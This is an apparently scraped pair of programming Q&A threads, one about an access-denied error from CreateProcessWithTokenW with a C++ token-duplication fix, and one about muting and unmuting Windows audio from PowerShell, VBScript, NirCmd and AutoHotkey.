For now I'm using a access token for the current process, eventually I'll use a token from another user. For now then I'm using https://github.com/fschwiet/PShochu/blob/master/PShochu/PInvoke/NetWrappers/AccessToken.cs to get the access token.
If you want to debug, pull down the sourcecode and run build_and_test.ps1. The error stack is:
1) Test Error : PShochu.Tests.can_run_remote_interactive_tasks, given a psake script which writes the current process id to output, when that script is invoked interactively, then the script succeeds
System.ComponentModel.Win32Exception : Access is denied
at PShochu.PInvoke.NetWrappers.ProcessUtil.CreateProcessWithToken(IntPtr userPrincipalToken, String applicationName,
String applicationCommand, Boolean dontCreateWindow, Boolean createWithProfile, StreamReader& consoleOutput, StreamReader& errorOutput) in c:\src\PShochu\PShochu\PInvoke\NetWrappers\ProcessUtil.cs:line 52
at PShochu.ProcessHandling.RunNoninteractiveConsoleProcessForStreams2(String command, String commandArguments, String& newLine) in c:\src\PShochu\PShochu\ProcessHandling.cs:line 36
at PShochu.ProcessHandling.RunNoninteractiveConsoleProcess(String command, String commandArguments) in c:\src\PShochu\PShochu\ProcessHandling.cs:line 20
at PShochu.Tests.can_run_remote_interactive_tasks.<>c__DisplayClass16.<>c__DisplayClass18.<Specify>b__2() in c:\src\PShochu\PShochu.Tests\can_run_remote_interactive_tasks.cs:line 27
at NJasmine.Core.Execution.DescribeState.<>c__DisplayClass7`1.<visitBeforeEach>b__3() in c:\src\NJasmine\NJasmine\Core\Execution\DescribeState.cs:line 62
Later update: I saw in some docs that additional privileges are needed (http://msdn.microsoft.com/en-us/library/aa374905%28v=vs.85%29.aspx). I am having trouble getting tests to verify I have these individual securities (they are set in secpol.msc pre-reboot)
SE_ASSIGNPRIMARYTOKEN_NAME "Replace a process level token"
SE_TCB_NAME "Act as part of the operatin system"
SE_INCREASE_QUOTA_NAME "Adjust memory quotas for a process"
These tests keep telling me I don't have the permissions I've set in the UI, https://github.com/fschwiet/PShochu/blob/master/PShochu.Tests/verify_privileges.cs
Through trial and error I figured out that the token you pass to CreateProcessWithTokenW() needs the following access flags (at least on Windows 7 SP1 64-bit):
TOKEN_ASSIGN_PRIMARY
TOKEN_DUPLICATE
TOKEN_QUERY
TOKEN_ADJUST_DEFAULT
TOKEN_ADJUST_SESSIONID
The last two in bold are very helpfully not mentioned at all in the documentation for CreateProcessWithTokenW().
EDIT: The following code works fine for me (when running elevated):
HANDLE hToken = NULL;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken))
{
HANDLE hDuplicate = NULL;
if(DuplicateTokenEx(hToken, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID, NULL, SecurityImpersonation, TokenPrimary, &hDuplicate))
{
TCHAR szCommandLine[MAX_PATH];
_tcscpy_s(szCommandLine, MAX_PATH, _T("C:\\Windows\\system32\\notepad.exe"));
STARTUPINFO StartupInfo;
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
StartupInfo.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&ProcessInformation, sizeof(PROCESS_INFORMATION));
if(CreateProcessWithTokenW(hDuplicate, LOGON_WITH_PROFILE, NULL, szCommandLine, 0, NULL, NULL, &StartupInfo, &ProcessInformation))
{
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
CloseHandle(ProcessInformation.hThread);
ProcessInformation.hThread = NULL;
CloseHandle(ProcessInformation.hProcess);
ProcessInformation.hProcess = NULL;
}
CloseHandle(hDuplicate);
hToken = hDuplicate;
}
CloseHandle(hToken);
hToken = NULL;
}

How can I mute/unmute my sound from PowerShell

Trying to write a PowerShell cmdlet that will mute the sound at start, unless already muted, and un-mute it at the end (only if it wasn't muted to begin with).
Couldn't find any PoweShell or WMI object I could use. I was toying with using Win32 functions like auxGetVolume or auxSetVolume, but couldn't quite get it to work (how to read the values from an IntPtr?).
I'm using V2 CTP2. Any ideas folks?
Thanks!
Starting with Vista you have to use the Core Audio API to control the system volume. It's a COM API that doesn't support automation and thus requires a lot of boilerplate to use from .NET and PowerShell.
Anyways the code bellow let you access the [Audio]::Volume and [Audio]::Mute properties from PowerShell. This also work on a remote computer which could be useful. Just copy-paste the code in your PowerShell window.
Add-Type -TypeDefinition #'
using System.Runtime.InteropServices;
[Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IAudioEndpointVolume {
// f(), g(), ... are unused COM method slots. Define these if you care
int f(); int g(); int h(); int i();
int SetMasterVolumeLevelScalar(float fLevel, System.Guid pguidEventContext);
int j();
int GetMasterVolumeLevelScalar(out float pfLevel);
int k(); int l(); int m(); int n();
int SetMute([MarshalAs(UnmanagedType.Bool)] bool bMute, System.Guid pguidEventContext);
int GetMute(out bool pbMute);
}
[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IMMDevice {
int Activate(ref System.Guid id, int clsCtx, int activationParams, out IAudioEndpointVolume aev);
}
[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IMMDeviceEnumerator {
int f(); // Unused
int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice endpoint);
}
[ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDeviceEnumeratorComObject { }
public class Audio {
static IAudioEndpointVolume Vol() {
var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;
IMMDevice dev = null;
Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(/*eRender*/ 0, /*eMultimedia*/ 1, out dev));
IAudioEndpointVolume epv = null;
var epvid = typeof(IAudioEndpointVolume).GUID;
Marshal.ThrowExceptionForHR(dev.Activate(ref epvid, /*CLSCTX_ALL*/ 23, 0, out epv));
return epv;
}
public static float Volume {
get {float v = -1; Marshal.ThrowExceptionForHR(Vol().GetMasterVolumeLevelScalar(out v)); return v;}
set {Marshal.ThrowExceptionForHR(Vol().SetMasterVolumeLevelScalar(value, System.Guid.Empty));}
}
public static bool Mute {
get { bool mute; Marshal.ThrowExceptionForHR(Vol().GetMute(out mute)); return mute; }
set { Marshal.ThrowExceptionForHR(Vol().SetMute(value, System.Guid.Empty)); }
}
}
'#
Usage sample:
PS C:\> [Audio]::Volume # Check current volume (now about 10%)
0,09999999
PS C:\> [Audio]::Mute # See if speaker is muted
False
PS C:\> [Audio]::Mute = $true # Mute speaker
PS C:\> [Audio]::Volume = 0.75 # Set volume to 75%
PS C:\> [Audio]::Volume # Check that the changes are applied
0,75
PS C:\> [Audio]::Mute
True
PS C:\>
There are more comprehensive .NET wrappers out there for the Core Audio API if you need one but I'm not aware of a set of PowerShell friendly cmdlets.
P.S. Diogo answer seems clever but it doesn't work for me.
Use the following commands on a ps1 powershell script:
$obj = new-object -com wscript.shell
$obj.SendKeys([char]173)
Alexandre's answer fit my situation, but his example does not work due to compilation errors regarding the namespace of 'var'. It seems that newer/different versions of .net may cause the example not to work. If you found that you received compilation errors, this is an alternative version to try for those cases:
Add-Type -Language CsharpVersion3 -TypeDefinition #'
using System.Runtime.InteropServices;
[Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IAudioEndpointVolume {
// f(), g(), ... are unused COM method slots. Define these if you care
int f(); int g(); int h(); int i();
int SetMasterVolumeLevelScalar(float fLevel, System.Guid pguidEventContext);
int j();
int GetMasterVolumeLevelScalar(out float pfLevel);
int k(); int l(); int m(); int n();
int SetMute([MarshalAs(UnmanagedType.Bool)] bool bMute, System.Guid pguidEventContext);
int GetMute(out bool pbMute);
}
[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IMMDevice {
int Activate(ref System.Guid id, int clsCtx, int activationParams, out IAudioEndpointVolume aev);
}
[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IMMDeviceEnumerator {
int f(); // Unused
int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice endpoint);
}
[ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDeviceEnumeratorComObject { }
public class Audio {
static IAudioEndpointVolume Vol() {
var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;
IMMDevice dev = null;
Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(/*eRender*/ 0, /*eMultimedia*/ 1, out dev));
IAudioEndpointVolume epv = null;
var epvid = typeof(IAudioEndpointVolume).GUID;
Marshal.ThrowExceptionForHR(dev.Activate(ref epvid, /*CLSCTX_ALL*/ 23, 0, out epv));
return epv;
}
public static float Volume {
get {float v = -1; Marshal.ThrowExceptionForHR(Vol().GetMasterVolumeLevelScalar(out v)); return v;}
set {Marshal.ThrowExceptionForHR(Vol().SetMasterVolumeLevelScalar(value, System.Guid.Empty));}
}
public static bool Mute {
get { bool mute; Marshal.ThrowExceptionForHR(Vol().GetMute(out mute)); return mute; }
set { Marshal.ThrowExceptionForHR(Vol().SetMute(value, System.Guid.Empty)); }
}
}
'#
Usage is the same:
PS C:\> [Audio]::Volume # Check current volume (now about 10%)
0,09999999
PS C:\> [Audio]::Mute # See if speaker is muted
False
PS C:\> [Audio]::Mute = $true # Mute speaker
PS C:\> [Audio]::Volume = 0.75 # Set volume to 75%
PS C:\> [Audio]::Volume # Check that the changes are applied
0,75
PS C:\> [Audio]::Mute
True
PS C:\>
You could skin the cat another way by simply managing the Windows Audio Service. Stop it to mute, start it to unmute.
There does not seem to be a quick and easy way to adjust the volume.. If you have c++ experience, you could do something with this blog post, where Larry Osterman describes how to call the IAudioEndpointVolume interface from the platform api(for Vista, XP might be more difficult from what I've found in a few searches).
V2 does allow you to compile inline code (via Add-Type), so that might be an option.
I know it isn't PowerShell, but combining the answers from Michael and Diogo gives a one-line VBScript solution:
CreateObject("WScript.Shell").SendKeys(chr(173))
Slap this in mute.vbs, and you can just double-click to toggle mute
still works in Windows 10 (10586.104)
no need to Set-ExecutionPolicy as you might with PowerShell
Solution in vbscript:
Set WshShell = CreateObject("WScript.Shell")
For i = 0 To 50
WshShell.SendKeys(chr(174))
WScript.Sleep 100
Next
The keys reduce the volume by 2 each time.
I didn't find how to do this in PowerShell, but there is a command-line utility called NirCmd that will do the trick by running this command:
C:\utils\nircmd.exe mutesysvolume 0 # 1 to to unmute, 2 to toggle
NirCmd is available for free here:
http://www.nirsoft.net/utils/nircmd.html
Check out my answer to Change audio level from powershell?
Set-DefaultAudioDeviceMute
lemme try again, after getting some feedback on my answer
This is based on #frgnca's AudioDeviceCmdlets, found here: https://github.com/frgnca/AudioDeviceCmdlets
Here is code that will mute every recording device.
Import-Module .\AudioDeviceCmdlets
$audio_device_list = Get-AudioDevice -list
$recording_devices = $audio_device_list | ? {$_.Type -eq "Recording"}
$recording_devices
$recording_device_index = $recording_devices.Index | Out-String -stream
foreach ($i in $recording_device_index) {
$inti = [int]$i
Set-AudioDevice $inti | out-null -erroraction SilentlyContinue
Set-AudioDevice -RecordingMute 1 -erroraction SilentlyContinue
}
You import the AudioDeviceCmdlets dll, then save a list of all audio devices, filtered down into recording devices. You grab the index of all the recording devices and then iterate through each one, first setting the device to be your primary audio device, then setting that device to mute (this 2 step process is a limitation imposed by the dll).
To unmute everything, you change -RecordingMute 1 to RecordingMute 0
Similarly, to mute playback devices you can use this code:
Import-Module .\AudioDeviceCmdlets
$audio_device_list = Get-AudioDevice -list
$playback_devices = $audio_device_list | ? {$_.Type -eq "Playback"}
$playback_devices
$playback_device_index = $playback_devices.Index | Out-String -stream
foreach ($i in $playback_device_index) {
$inti = [int]$i
Set-AudioDevice $inti | out-null -erroraction SilentlyContinue
Set-AudioDevice -PlaybackMute 1 -erroraction SilentlyContinue
}
To unmute everything, you change -PlaybackMute 1 to PlaybackMute 0
This code comes from part of a bigger project I have which hooks up to a physical button/LED mute status display via Arduino to enable single button press to Mute/Unmute all system microphones (to help with Zoom, Meet, Teams, Discord, etc.) and to help people avoid embarrassing hot-mic incidents.
https://github.com/dakota-mewt/mewt
P.S. I really like some of the one-line solutions like Change audio level from powershell?
However, note that a single-line muting typically applies only to the single device that's currently set as the windows default. So if you have software that's capable of addressing different audio devices (like Zoom and Meet), and they happen to be using a non-default device, it may not work as desired.
In the second script above, to work in PowerShell 7 or PowerShell Core in the 1st line change:
-Language CsharpVersion3
to...
-Language Csharp
Working on W10
Here's a simple timed mute script using autohotkey (from autohotkey dotcom).
mbutton:: ; Trigger this script with a click on the mouse wheel
SoundSet, +1,, Mute ; Mute the PC sound
sleep, 27000 ; Wait 27 seconds for the annoying advertisement to run
SoundSet, +1,, Mute ; Unmute the PC sound

Resources